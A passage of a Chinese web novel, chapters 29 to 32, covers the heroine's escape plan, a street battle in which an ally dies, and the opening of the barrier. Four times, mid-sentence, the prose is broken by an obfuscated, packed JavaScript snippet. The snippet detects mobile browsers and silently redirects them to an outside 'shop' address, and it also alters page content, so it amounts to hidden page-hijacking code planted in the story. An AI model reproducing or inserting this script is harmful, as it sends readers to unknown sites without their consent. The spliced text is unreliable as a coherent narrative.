匕首藏在袖子里,贴着她的手腕,冰凉的金属在她的体温下慢慢变暖。 温初花走到铁匠铺后面的时候,方敏正站在地下室入口的台阶上,手里攥着一串钥匙,脸色不太好看。看到温初花来了,她从台阶上站起来,把钥匙递过去。 “人在地下室,没出过门。”方敏的声音压得很低,“但他一直在笑。” 温初花接过钥匙,没说话。 地下室的门是铁的,老周早年打的,厚实得能挡一刀。门上有两个锁,一个明锁,一个暗锁。温初花把两个都开了,推开门的瞬间,一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579533|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潮湿的霉味扑面而来。地下室里没有灯,光线从门口漏进去,照在地上那层薄薄的稻草上。 琴师坐在墙角,背靠着潮湿的砖墙,双手放在膝盖上。他的眼睛闭着——一直闭着——嘴角微微上扬,像在笑,又像没有。听到门响,他的头微微偏了一下,朝着温初花的方向。 “温小姐,”他说,“你来了。” 温初花站在门口,没有进去。“疯子三兄弟跑了。是你做的。” 琴师的嘴角又上扬了一点。“他们自己跑的,跟我有什么关系?我在这里被你关着,连门都出不去。” “你留了后手。在你那个灰衣服的徒弟手里。” 琴师没有说话。他的嘴角还挂着那个笑,但弧度没有变,像一张摘不下来的面具。 温初花从袖子里弹出匕首,刀尖在门框上磕了一下,发出叮的一声脆响。那声音在地下室里来回弹了两下,才消散。 “我现在不杀你,”她说,“不是因为不能,是因为没时间。但你要记住——如果今晚出了任何岔子,不管是不是你干的,你和你那个徒弟都活不到明天天亮。” 琴师的笑终于收了一点。不是害怕,是——他听出了温初花说这句话时的语气。那种语气不是在威胁,是在陈述一个事实,就像说“太阳从东边出来”一样,不需要证明,不需要强调,就是那么回事。 “温小姐,”琴师说,声音比刚才低了一些,“你知道我为什么在这条街上活了二十年吗?” 温初花看着他。 “因为我从不把所有的鸡蛋放在一个篮子里。”琴师的手指在膝盖上轻轻敲了一下,“疯子三兄弟是我的一篮子鸡蛋。灰衣小子是另一篮子。但还有一篮子,你到现在都没找到。” 温初花的手指在刀柄上紧了紧。 琴师没有继续说。他把头靠在墙上,闭着眼睛,嘴角又挂上了那个笑。那个笑像一道疤,长在他脸上,摘不掉,也盖不住。 温初花在门口站了两秒,然后退了出去,把门关上,锁上了两道锁。她把钥匙还给方敏,看了一眼站在旁边的姓赵的。 “把灰衣年轻人换个地方,别跟琴师关在同一栋楼。隔得越远越好。” 姓赵的点了下头,转身去了。 方敏还站在原地,手里攥着钥匙,嘴唇动了动,想说什么,又咽了回去。 “你想说什么?”温初花问。 “温姐,琴师说的‘另一篮子鸡蛋’……会不会是假的?他故意吓唬你?” 温初花想了想。“有可能。但我不敢赌。” 方敏沉默了片刻,点了点头,攥着钥匙的手紧了紧,又松开了。她转身走下台阶,去地下室门口守着。脚步很沉,踩在台阶上闷闷地响,像是每一步都在跟自己确认什么。 温初花站在铁匠铺后面,把那把新匕首从手腕上解下来,在裤腿上蹭了蹭,又卡回去。 琴师说的“另一篮子鸡蛋”是什么?她不知道。 但她知道一件事——琴师这个人从不虚张声势。 他说有,那就是有。至于在哪、是什么、什么时候炸,她猜不到,也没时间猜。 她能做到的,只有把能防的地方都防住,然后赌那个“另一篮子鸡蛋”不够大,炸不死她。 她抬头看了一眼天。太阳已经升起来了,灰蒙蒙的光线从云层后面透出来,照在她脸上。 今天是她计划离开的日子,她不能让任何事打乱这个计划。 她转身朝苏游云的住处走去,步子很快,每一步都带着一股狠劲,像是在跟谁较劲。 29. 最后的准备 天还没亮,温初花就醒了。 不是被吵醒的,是自己醒的。 她在黑暗中睁着眼睛,盯着天花板上那道裂缝看了几秒,然后坐起来,把被子掀到一边。行军床吱呀一声惨叫,她光脚踩在水泥地上,凉意从脚底板蹿上来,把最后一丝困意赶跑了。 她把匕首从枕头底下抽出来,卡在手腕内侧,手掌一张,刀尖从指缝间探出来。 刃口在黑暗中亮了一下。她握了握拳,刀尖收进去,又张开,弹出来。来回几次,动作流畅得像呼吸。 今天。 她站在屋子中央,把外套穿上,拉链拉到顶,领口的别针别好。裤子膝盖上磨得发亮,鞋底快磨平了,但今天这双鞋要走的路,不是平时的路。 她对着柜门上那块缺了角的镜子照了照。颧骨还是凸出来的,眼下还是青黑的,但眼睛里的东西不一样了。不是自信,不是笃定,是一种——箭在弦上不得不发的那种紧。 她走出门,走廊里没有人。月光从拐角那扇破窗户照进来,在地面上铺了一层薄薄的银白色。她没有去敲苏游云的门,先下了楼。 姓赵的已经在楼下等着了。 老周的人,琴师归顺过来的人,加上方敏那边的,一共三十七个。 不是所有人都知道今天要做什么,知道的人只有五个——姓赵的、方敏、老周、小六,还有她自己。其他人只知道今天有大事,不知道大事是什么。 “老周那边准备好了,”姓赵的说,声音压得很低,“装备都清点过了。刀、棍、铁管,能用的都拿出来晾着了。方敏在盯着。” 温初花点了点头。 “琴师那边呢?” “换到地下室了。方敏亲自看着,钥匙在她手里。灰衣年轻人在原来的地方,没动。” “疯子三兄弟有消息吗?” 姓赵的摇了摇头。“昨晚出了鬼街,往东边去了。不知道去了哪里,也不知道会不会回来。” 温初花沉默了片刻。三兄弟跑了,她不知道他们会做什么。但她不能因为两个不确定的疯子打乱今天的计划。她能做的,是把该防的地方防住,然后赌一把——赌他们不会在今天回来。 “让你的人分散到街口和拱门附近。不要聚在一起,不要引人注意。看到任何不对劲的人,不要动手,先报信。” 姓赵的点了点头,转身走了。 温初花上了三楼,敲了苏游云的门。门几乎立刻开了,好像他就等在门后面。 苏游云穿着那件深灰色的薄外套,衬衫还是扣到最上面一颗。 他的头发梳得很整齐,眼镜片擦得很亮,整个人看起来跟平时没什么两样。但温初花注意到桌上那个黑色金属箱子是开着的,里面的药剂少了两支。 “外面联系上了?”温初花问。 苏游云点了一下头。“最后确认。今晚月升之后,他们会在外围待命。裂缝出现的信号一发出,他们就发射脉冲。” “信号怎么发?” 苏游云从口袋里掏出那个传信器,比阿七给温初花的那个更小,更薄,表面有一层淡淡的金属光泽。他把它放在桌上,推到温初花面前。 “裂缝出现的时候,你需要用你的能力去感知它。当你确认裂缝的位置和强度后,按下这个按钮。”苏游云指着传信器侧面的一个凸起,“按住三秒。它会发出一条加密信号,通知外面的装置锁定裂缝位置,发射脉冲。” 温初花拿起传信器,在手心里掂了掂。很轻,轻到几乎感觉不到重量,但她知道这个小东西的重量不止是金属和塑料。它装着她离开鬼街的全部希望。 “脉冲发射之后,通道能维持多久?” “不超过五秒。” 温初花把传信器放进口袋,贴在黑匣子旁边。两个小东西挨在一起,隔着衣服的布料,她能感觉到它们的轮廓。 “五秒,”她说,“从拱门跑到浓雾里面,够了。” 苏游云看着她,没有接话。 温初花走到窗边,把窗帘拉开一条缝。外面的天已经亮了,灰蒙蒙的光线从云层后面透出来,照在对面那堵长满青苔的墙上。楼下有人在走动,有人在说话,有人在生火做饭。鬼街的一天开始了,跟往常一样。没有人知道今天不一样。 “你什么时候走?”温初花没有回头。 苏游云沉默了一瞬。“我送你到拱门。” 温初花转过身,看着他。“然后呢?” “然后你出去。我留下。” 温初花盯着他的眼睛看了两秒。“为什么留下?” 苏游云的表情没有变,还是那副没什么表情的样子。但他的眼睛——那双眼镜片后面的眼睛里,有什么东西闪了一下,很快,快到几乎捕捉不到。“外面有人接应你。他们知道该做什么。” “我问的不是外面的人。”温初花往前走了一步,离他更近了,“我问的是你。你为什么留下?” 苏游云看着她,沉默了很久。久到温初花以为他不会回答了。桌上的灯在跳,窗外的光线在变,他的影子在墙上微微晃着。 “因为我进来的目的,是带你出去。”他说,“不是带我出去。” 温初花张了张嘴,又闭上了。她想说“你可以一起走”,但她知道那不可能。五秒钟的通道,只能容一个人穿过。他们试过很多种方案,没有一种能让两个人同时通过。如果她带苏游云,她出不去。如果苏游云带她,他也出不去。这是数学,不是选择。 她低下头,看着自己的鞋尖。鞋面上有一块暗红色的污渍,分不清是血还是别的什么。 “你说过,你不是因为预言才帮我的。” “我说过。” “那你是为了什么?” 苏游云把手从口袋里抽出来,走到她面前,伸出手,把她领口那根歪掉的别针正了正。动作很轻,轻到他的手指几乎没有碰到她的衣服。温初花站着没动。 “为了你。”他说。 温初花抬起头看着他的眼睛。那双眼睛在昏黄的灯光下显得很深,瞳孔比平时大了一圈,几乎占满了整个虹膜。那里面没有谎言的闪烁,没有目的的算计,只有一种她读不懂的、但又不想去读懂的、很干净的东西。 她没有说话。她怕一开口,嗓子就会漏气。 门口传来敲门声。三下,不轻不重。 温初花退了一步,转过身,把门打开。小六站在门口,手里拿着一卷东西。 “温姐,老周让我送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17582135|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。”小六把那卷东西递过来。 温初花接过来,展开。是一把匕首。 不是她平时用的那把——那把还在她袖子里卡着。 这把是新的,刀身比她那把长了一指,刃口开得极亮,刀柄上缠着黑色的防滑绳,绳结打得紧实细密,握在手里刚刚好。刀柄的末端刻着一个字,很小,但她看到了:“花”。 “老周说,”小六挠了挠头,“他说这把刀打了七天,用的是最好的钢。他说你平时那把太短了,遇到硬茬子吃亏。这把长一点,能多捅一寸。” 温初花握着那把匕首,翻过来看了一眼。 刀身上有一道淡淡的水波纹,是老周拿手锤一下一下敲出来的纹路。她见过老周给那些好刀敲这种纹路,一把要敲上千锤。 这把刀上的纹路很密,密到她在灯光下看不清有多少道。 “替我跟老周说声谢。”温初花把匕首卡在左手手腕内侧,试了试,松紧刚好。老周量过她的手腕——不知道什么时候量的,但量得很准。 小六点了点头,转身跑了。 温初花把左手张开,刀尖从指缝间弹出来。新刀的刃口亮得像一汪水,比她平时那把更薄、更快。她握了握拳,刀尖收进去,又张开,弹出来。 “老周的手艺不错。”苏游云站在她身后说。 温初花把匕首收好,转过身看着他。“还有什么没确认的吗?” 苏游云从桌上拿起那张地图,展开来,用手指在上面点了几下。 鬼街的拱门、外围的能量脉冲装置部署点、她应该站的位置、传信器信号发射的时机。 这些他们已经确认过很多遍了,每一遍的结果都一样。 “没有了。”苏游云把地图折好,放回桌上,“剩下的,就看今晚。” 温初花深吸了一口气,又慢慢地吐出来。 “好。” 她转身走向门口,手搭在门把手上,停了一下。 “苏游云。” “嗯。” “你说外面的人接应我。那些人,信得过吗?” 苏游云沉默了一瞬。“信得过。” 温初花没有问为什么。她拧开门,走了出去。 走廊里的冷风灌进来,吹得她外套的下摆一掀一掀的。 她走到楼梯口的时候,听到身后传来门关上的声音,很轻,像一声叹息。 她下了楼。 姓赵的在巷口等她,方敏在街头发物资,老周在铁匠铺里打铁,叮叮当当的声音从铺子里传出来,节奏不快不慢,像心跳。 小六在铺子门口擦一把铁锹,擦得锃亮。 温初花站在十字路口,看着这一切。 鬼街还是那个鬼街,破,脏,乱。 但今天是她在鬼街的最后一天。至少她希望是。 她把手伸进口袋,摸了摸那个传信器。 小小的,冰凉的,贴着她的手指。她又摸了摸黑匣子。 温热的,像一个小小的、沉默的心脏。 她在路口站了一会儿,然后转身往老周的铁匠铺走去。 有些事情还需要确认,有些人还需要交代。 今天是最后一天,她不能出任何差错。 30. 来人了 太阳落下去的时候,鬼街起了风。 不是平常那种从门缝里钻进来的、带着霉味的微风,是真正的、从拱门方向灌进来的大风。 风里带着浓雾的湿冷气息,吹得巷口的塑料袋哗哗作响,吹得老周铁匠铺的门板哐哐地撞门框。 站在街上的人不约而同地抬起头,看着天。 天还是那片天,灰蒙蒙的,没有星星,没有月亮,但云在动。 鬼街的云二十年没有动过了。 温初花站在拱门前。 月光从云层的缝隙里漏下来,照在她脸上,把颧骨下方的阴影拉得很长。 她穿着那件洗得发白的旧外套,拉链拉到顶,领口用别针别着。左手腕上卡着老周打的新匕首,右手腕上是那把跟了她很久的旧刀。两条袖子放下来,什么都看不见。 她的口袋里揣着黑匣子和传信器,两个小东西贴在一起,隔着布料她能感觉到黑匣子比平时更热,像一颗快烧到尽头的炭。 姓赵的站在她身后三步远的地方,手里攥着一根铁管,管口被他自己在磨刀石上磨了一下午,磨出了一个斜尖,在月光下亮得像一把短矛。 方敏在左边,腰里别着两把菜刀,都是老周铺子里的,刃口开得极亮。 小六在她旁边,手里举着一把铁锹,锹头擦得能照见人影,他的手指在锹柄上攥得发白。 老周没来。他的伤还没好利索,胳膊上还吊着绷带,温初花没让他来。 “你留下看家,”她说,“万一我们回不来,铺子还在。” 老周当时坐在铁砧旁边,手里握着锤子,锤子举到一半停住了,停了很久,然后落下去,砸在一块烧红的铁上,叮的一声。 “行,”他说,“我看家。” 三十七个人,分成三拨。 一拨跟着姓赵的守在拱门附近,一拨跟着方敏守在鬼街入口的巷口,还有一拨散在几条主要的巷子里,负责传信和接应。 温初花把自己放在最前面。不是她比别人能打,是今天这扇门只有她能开。 苏游云站在她旁边,离她两步远。 他没有带武器,两手插在兜里,看着远处那道翻涌的浓雾。 他的眼镜片上反射着月光,看不清他的表情,但他的站姿跟平时不一样了——平时是松散的、随意的,今天是紧的,像一根被拉满的弦。 “几时了?”温初花问。 苏游云抬头看了一眼月亮。“快了。” 她把手伸进口袋,摸了摸传信器,又摸了摸黑匣子。 黑匣子的温度比刚才更高了,烫得她的指尖微微发麻。她把它从口袋里掏出来,握在手心里。 巴掌大的黑色方块在她的掌心发着微弱的、几乎看不见的光——不是反射月光,是它自己在发光,很淡很淡,像一层雾气笼罩在表面。 “它在发热。”温初花把黑匣子举到苏游云面前。 苏游云看了一眼,眉头微微动了一下。“矿脉的能量场在变化。裂缝要出现了。” 温初花把黑匣子收回口袋,闭上眼睛。 这十天来,她每天晚上都在苏游云的屋子里练习吞噬缚灵粒子,从一开始什么都感觉不到,到能稳定地吞下一小团,她的身体已经习惯了那种黑色的、无形的、像烟又像雾的东西在掌心盘旋的感觉。 但现在,她没有伸手去抓,那些缚灵粒子自己涌过来了。 它们从地底下涌上来,从脚底、从膝盖、从腰腹,像无数条看不见的蛇,从泥土里钻出来,往她的身体里钻。 她的手指开始发抖。 不是害怕,是——太多了。 她从来没有一次性接触过这么多的缚灵粒子。 这十天里她每次吞噬的量,加起来都不及现在涌过来的百分之一。 “温姐?”姓赵的在身后喊了一声。 温初花没有回答。她咬着牙,把涌进身体里的缚灵粒子压住,不让它们乱窜。她能感觉到它们在她体内横冲直撞,像一群找不到出口的野兽,撞击着她的血管、骨骼、内脏。 疼。 不是那种被刀捅的疼,是那种从里往外的、像有什么东西要破体而出的疼。 她的额头冒出了冷汗。 苏游云走到她面前,伸出手,握住了她的手腕。他的手掌干燥、温热,拇指按在她的脉搏上。 他的能量感知力在这一刻派上了用场——他能感觉到她体内的缚灵粒子在暴动,也能感觉到她体内的那团火在拼命地吞噬它们。 像两条蛇在缠斗,一条黑的,一条红的,在她体内翻滚、撕咬、吞噬。 “你能压住。”苏游云说,声音不大,但很稳,“你已经压住了。” 温初花睁开眼睛,看着他的脸。月光打在他的侧脸上,把那副眼镜的边框照得发亮。 他的表情还是那样,平静,没有什么表情,但他的眼睛——那双眼睛里有光,不是反光,是从里面透出来的、很淡很淡的光。 “裂缝要开了。”苏游云松开她的手腕,退后一步,从口袋里掏出传信器,“我数到三。” 温初花深吸了一口气,把手从口袋里抽出来,两只手都空着,垂在身侧。 “一。” 风更大了。浓雾从拱门那边涌过来,不是像往常那样在拱门外翻涌,而是往鬼街里面灌,像决堤的水一样从门洞里涌进来,贴着地面翻滚,淹没了她的脚踝。雾是冷的,冷得像冰水,透过她的鞋底往骨头里渗。 “二。” 地下传来一声闷响。不是地震,是比地震更深沉的、从地核里发出的那种震动,像一头沉睡了几千年的巨兽在翻身。 她脚下的地面在颤抖,细小的石子在地面上跳动,发出细碎的、像牙齿打颤的声音。拱门两侧的墙壁上,老旧的砖缝里开始往外渗黑色的雾气——那不是雾,是缚灵粒子,浓度高到肉眼可见的缚灵粒子。 “三!” 温初花闭着眼睛,把双手向前推出。 她体内的那团火在这一刻炸开了。不是爆炸,是——绽放。像一朵花,在她胸口深处,花瓣一片一片地张开,每一片花瓣都在释放能量、吞噬能量、转化能量。 那些涌入她体内的缚灵粒子在这一瞬间被那团火卷了进去,黑的被红的吞掉,红的烧得更旺,旺到她的皮肤开始发烫,旺到她的手指尖开始冒出淡淡的红光。 她感觉到了裂缝。 不是用眼睛看到的,是用感知捕捉到的。 在拱门正前方,距离地面大约一人高的位置,矿脉的能量场出现了一个细小的、几乎看不见的缺口。 那个缺口像一道被撕开的伤口,黑色的缚灵粒子从里面往外涌,浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587899|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度高到她的皮肤都在刺痛。 “找到了!”她喊了一声,左手伸进口袋,摸到传信器,拇指按住侧面的凸起。 一秒。两秒。三秒。 传信器亮了一下,蓝光从她的指缝间漏出来,像一小片被攥在手心里的天空。 信号发出去了。 接下来是等待。三秒。五秒。十秒。每一秒都像一年。 姓赵的握紧了铁管,方敏把菜刀从腰里抽了出来,小六把铁锹举到了肩膀上。三十七个人,没有人说话,没有人动,所有人都在等。等着那扇门打开,等着外面的人发射脉冲,等着温初花说的那个“几秒钟”的到来。 然后他们听到了脚步声。 不是从拱门外面传来的,是从身后。从鬼街里面,从巷子的方向。 温初花转过头。 月光下,三个人影从巷口走了出来。排成一列,步伐一致,快得像在跑,但又稳得像在走。 每一步都踩在同一个节奏上,脚步声叠在一起,听起来像一个人的。 疯子三兄弟回来了。 疯子三兄弟从巷口走出来的那一刻,所有人都以为这就是全部了。 姓赵的握紧了铁管,方敏把菜刀从腰里抽出来,小六把铁锹举到了肩膀上。 三十七个人,在这几秒钟内同时调整了站位,像一架被启动了开关的机器,每一个齿轮都咬合在了一起。 但温初花听到了更多的脚步声。 不是三个人的,是很多人的。 从不同的方向传来——从左侧的巷子,从右侧的巷子,从铁匠铺那边的方向,从琴师院子那边的方向。 脚步声叠在一起,像暴雨打在铁皮屋顶上,密集、沉重、无法忽视。 她的心沉了下去。 第一个从左边巷子里走出来的人,她没见过。个子不高,但很壮,肩膀宽得像一堵墙,光头上纹着一条黑色的龙,龙尾从后脑勺一直延伸到眉心。他手里没有武器,但拳头攥起来的时候,骨节突出得像一把锤子。 第二个从右边巷子里走出来,瘦长,像一根竹竿,手里握着两把短刀,刀身窄而薄,刃口在月光下闪着蓝光。他的步态很轻,轻到几乎没有声音,脚掌落地的时候像猫一样无声无息。 第三个、第四个、第五个,从不同的方向走出来,步伐一致,眼神一致,都盯着同一个方向——温初花。 他们穿着同样的黑色衣服,同样的站姿,同样的重心下沉,双手垂在身侧,随时可以爆发。 这不是琴师养的那种街头打手,这是经过系统训练的职业战士。 新世界社的体术高手。林生宸的人。 琴师的余党跟在后面,大概十几个,手里拿着铁管、木棍、菜刀,装备不如那五个人精良,但人数更多,眼神更疯。 他们是从琴师派系里没有被收编的那些人,是琴师藏在暗处的最后一颗棋子。 十天来,他们藏在鬼街的各个角落里,等着这一天。 三十七对二十多。 人数上温初花这边不落下风,但质量上差了一大截。 那五个体术高手一个人能顶五个普通人,疯子三兄弟一个人能顶十个。 温初花这边能打的只有姓赵的、方敏、小六,剩下的都是没怎么打过架的普通人,拿着铁管和木棍,手都在抖。 31. 终极决战 温初花不能动。 她的手还张着,掌心对着拱门的方向,体内的那团火还在和裂缝的能量场形成共振。 如果她在这个时候断开连接,裂缝的定位就会丢失,外部脉冲就会打偏,通道就不会打开。 她站在原地,像一根钉子钉进了地里,浑身的红光越来越亮。 姓赵的走到了最前面。 他知道自己挡不住那五个人,他知道自己今天可能会死。 但他也知道,如果没有人挡在温初花面前,所有人都得死在这里,包括他。 他把铁管换到左手,右手在裤腿上蹭了蹭手心的汗,然后重新握紧了铁管。 他的左腰还在疼,钢钉扎的窟窿没有好利索,每呼吸一下都像有人拿刀子在里面搅。 但他的脸上没有任何表情。 “大家,跟我上!”他喊了一声,声音沙哑但很大,在夜空中炸开。 十几个人跟着他冲了上去。 方敏带着琴师归顺的那批人从左边包抄,小六带着剩下的从右边堵截。 三拨人像三把刀,同时插进了琴师余党的阵型里。 铁管和木棍撞在一起的声音,闷闷的,像骨头敲在石头上。 有人在喊,有人在骂,有人在叫,声音混在一起,分不清谁是谁。 光头体术高手第一个出手。 他的拳头砸在第一个冲上来的人胸口,那人像被一辆卡车撞了一样往后飞出去,撞在墙上,滑下来,不动了。 他的拳速不快,但每一拳都重得像铁锤,一拳下去,骨头断,人倒下。 瘦长双刀高手像一条蛇一样在人群中穿梭,两把短刀在他手里像长了眼睛,每一次挥出都带出一道血线,不深,但每一刀都砍在关节上——手腕、肘弯、膝盖。 他的目标不是杀人,是让人失去战斗力。 一分钟之内,温初花这边有五个人捂着手腕蹲了下去,有两个人抱着膝盖在地上打滚。 姓赵的看到了。 他的铁管砸向光头的脑袋,光头抬手挡了一下,铁管砸在他的小臂上,发出一声闷响。 光头的骨头没有断,他甚至连眉头都没皱一下。他的另一只手从下面掏上来,一拳砸在姓赵的肋骨上。姓赵的身体弯了一下,没有倒。他 咬着牙,铁管又砸了下去,这一次砸在光头的肩膀上。 光头的身体晃了一下,第一次有了反应——他的眉头皱了一下,不是疼,是意外。 意外这个浑身是血的人还能站着。 老三从侧面扑了上来,长指甲直奔姓赵的咽喉。 方敏从旁边冲过来,菜刀砍在老三的手臂上,砍进去很深,刀卡在骨头里拔不出来。 老三发出一声不像人的尖叫,另一只手的指甲划向方敏的面门。 方敏仰头躲开,下巴上被划了一道口子,皮肉翻开,血顺着脖子往下淌。 小六的铁锹从背后拍在了老大的后脑勺上。 老大的身体晃了晃,没有倒。他转过头,那双发光的眼睛盯着小六,小六的脸色白了,手在发抖,但他没有退。 铁锹又举了起来,又拍了下去。 更多的人涌上去了。 铁管、木棍、菜刀、铁钎,三十几个人围着二十几个人打。 但对方有五个体术高手和疯子三兄弟,温初花这边的人在快速减少。 一个接一个地倒下,有人捂着伤口喊疼,有人躺在地上一动不动,有人还在爬,还在往前爬,手撑着地面,膝盖拖着地,一寸一寸地往战场中间挪。 姓赵的浑身是血。 左腰上的伤口裂开了,血往外涌,把裤子染成了深色。 他的左臂抬不起来了,就用右手握着铁管,一下一下地砸向面前的人。他已经分不清自己在打谁了,面前全是人,全是血,全是喊叫声。 他的眼睛被血糊住了,看不清东西,但他不需要看清,他知道温初花就在身后,他只需要挡住面前这些人就行了。 光头体术高手又冲上来了。他的拳头砸向姓赵的面门,姓赵的没有躲。铁管从下往上捅进了光头的腹部。光头低头看着插在自己肚子上的铁管,表情没有痛苦,只有——意外。他伸手握住铁管,把它从自己肚子里拔了出来,带出一股血,喷在姓赵的脸上。 姓赵的没有退。他从腰里抽出那把温初花给他的短刀,捅进了光头的胸口。 光头倒下去了。 姓赵的站在那里,浑身是血,手里握着短刀,刀上挂着血珠。 他的身体在晃,像一盏被风吹得快要灭的灯。 他的头上有血,脸上有血,身上有血,分不清哪些是自己的,哪些是别人的。他转过身,看着温初花的方向。 “温姐……”他的声音很小,小到几乎听不见。 老二从侧面冲过来,铁拳套砸在姓赵的后脑勺上。 姓赵的身体往前栽了一下,没有倒。 他撑着膝盖站住了,喘了两口气,抬起头。他的眼睛已经看不清东西了,瞳孔在放大,视线在模糊,但他的嘴角在动,像是在说什么。 “我的名字……记住我的名字……” 血从他的嘴角溢出来,顺着下巴往下滴。他的眼神开始涣散,像一盏灯在慢慢熄灭,光从灯芯的中心往外退,退到最后只剩下一个针尖大的亮点,还在顽强地亮着。 “赵信……信任的信……” 他的身体晃了晃,然后像一堵墙一样倒了下去。 砸在地上,闷响了一声,没有再动。 短刀从他手里滑落,当啷一声,在地上弹了两下,停在了一片血泊中。 刀身上映着月光,亮了一下,又暗了。 温初花的手在发抖。 她看到了。 她看到了赵信倒下,看到了方敏满脸是血还在挥刀,看到了小六的铁锹已经卷了刃还在拍,看到了自己的人一个接一个地倒下去。 她的手在抖,不是因为害怕,是因为愤怒。 那种愤怒从胸口烧到喉咙,从喉咙烧到眼眶,从眼眶烧到全身。 她的眼泪没有流出来,被那股愤怒蒸干了。 体内的那团火在这一刻炸开了。 不是被动的吞噬,是主动的、拼命的、不顾一切的吞噬。 她把周围所有的缚灵粒子都往自己的身体里吸,像一块干透了的海绵被扔进了水里,疯狂地、贪婪地、不计后果地吸收着一切。 地下的矿脉在震动,空气中的缚灵粒子在暴动,拱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594059|203552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门外的浓雾在翻涌。 她体内的火焰越烧越旺,从胸口烧到四肢,从四肢烧到指尖,从指尖烧到体外。 她的全身开始发光,不是之前那种淡淡的红光,是刺目的、像焊枪一样的白光。 白光从她的皮肤表面喷射出来,照亮了整个拱门,照亮了整条街道,照亮了每一个人的脸。 那五个体术高手的动作同时慢了下来。 不是因为他们想慢,是因为他们感觉到了——空气中的能量在被什么东西抽走,像有人拔掉了浴缸的塞子,所有的水都在往下漏。 他们的肌肉在发软,呼吸在变重,视线在模糊。 不是能力被压制,是体力在流失。 温初花在吞噬的不仅仅是缚灵粒子,她还在吞噬周围一切可以被吞噬的能量——空气中的热能、地面下的矿脉能量、甚至人体散发的生物能量。 五个体术高手开始后退。 他们不知道这个女人的能力是什么,但他们发现了一件事——站在她附近,自己的体力会快速流失,像被什么东西吸走了一样,连抬手的力气都在一点一点地消失。 瘦长双刀高手第一个转身跑,其他人跟着他往后撤。 琴师的余党也散了。 他们不是训练有素的战士,他们只是被琴师藏起来的一群打手,看到自己这边最强的人都在跑,他们更没有理由留下来。 有人扔掉了手里的铁管,有人转身就跑,有人跑了两步摔倒了,爬起来继续跑。 但疯子三兄弟没有跑。 他们不是不想跑,是跑不了。 温初花的能力在吞噬缚灵粒子的同时,也在吞噬别的东西。琴师种在三兄弟脑子里的那道锁,那些药物、那些心理暗示、那些刻进本能里的控制指令,全部被她的能量共振打散了。 缚灵粒子是琴师控制三兄弟的媒介,当温初花把周围的缚灵粒子吸走的时候,三兄弟大脑中的控制信号也随之消失了。 老三第一个跪了下去,双手抱着头,喉咙里发出一声尖锐的、像金属摩擦一样的惨叫。 老二的双拳套从手上滑落,当啷一声掉在地上,他弯下腰,双手捂着脸,身体在剧烈地发抖。 老大站在那里,那双发着不正常光的眼睛剧烈地闪烁着,像一盏被人快速开关的灯,闪了几下,然后彻底暗了。 他像一截被锯断的木头一样往前栽倒,铁链哗啦一声落在地上。 三个人都晕了过去。不是被打晕的,是被她从诅咒中解放出来的。 温初花站在那里,浑身的白光还在往外喷射。 她的意识已经开始模糊了,但她能感觉到裂缝的定位越来越清晰,能感觉到外部脉冲正在接近,能感觉到鬼街上空那道无形的屏障正在被什么东西从外面撞击。 一下。两下。三下。 屏障没有碎,但裂开了一道口子。 那道口子比预期的更大、更宽、更稳定。因为温初花在吞噬缚灵粒子的同时,也在削弱矿脉的能量场,屏障的根基被动摇了。 裂缝被撕开了一个比预计大三倍的口子,浓雾从口子里往外涌,裹挟着二十年没有流动过的空气,向外面的世界奔涌而去。 通道开了。不是几秒钟,是更久。 32. 真的出来了 温初花想迈步,但她的腿不听使唤了。 她低头看着自己的脚,脚尖对着拱门的方向,但她的身体像被什么东西钉住了,动不了。 体内的那团火还在燃烧,但燃料不够了,她在吞噬缚灵粒子的过程中消耗了太多的能量,现在连站都快站不住了。 视线开始模糊,周围的景象像被水浸泡过的画,色彩和轮廓都在融化、在流淌。 白光在她的指尖闪烁了两下,然后暗了。 她的腿一软,身体往前栽倒。 苏游云从她身后冲上来,接住了她。 他的手搂着她的腰,她的头靠在他的肩膀上。 苏游云感觉到她的体温高得不正常,像抱着一块烧红的炭。 她的眼睛半睁着,瞳孔涣散,嘴唇在动,在说什么,但他听不清。 